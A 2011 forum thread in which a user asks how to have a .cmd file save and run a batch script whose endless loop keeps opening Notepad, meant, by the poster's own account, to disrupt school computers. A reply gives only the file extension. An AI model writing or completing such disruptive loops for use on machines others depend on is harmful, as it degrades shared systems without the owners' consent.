Post: help saving file from a cmd file
03-11-2011, 05:53 PM #1
(adsbygoogle = window.adsbygoogle || []).push({}); sorry for the confusing tittle

i want to know what the code is for saving a file from a .cmd file

this is what i want to save

    
@echo off
:notepad
start notepad.exe
goto notepad


the problem is i only know the command for a single line

echo example>"text.txt:"

can anyone help please

this is my thing if anyone is interested

You must login or register to view this content.

thanks in advance
(adsbygoogle = window.adsbygoogle || []).push({});
03-11-2011, 09:34 PM #2
CA5U4LTY
Pokemon Trainer
needs to be saved as a batch.

the extension is .bat

Edit: By the way, why are you DOS coding? Making ancient loop tools like that wouldn't crash a dinosaur from the prehistoric age.
03-11-2011, 09:48 PM #3
Originally posted by CA5U4LTY View Post
needs to be saved as a batch.

the extension is .bat

Edit: By the way, why are you DOS coding? Making ancient loop tools like that wouldn't crash a dinosaur from the prehistoric age.


i know that i am trying to save it from within .cmd file
so the file will run and as it runs it saves it then opens it

the reason why i did this is because this is only mess with other computers in my school it started off by just a small file which opens a lot of files and kinnda grew from there

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo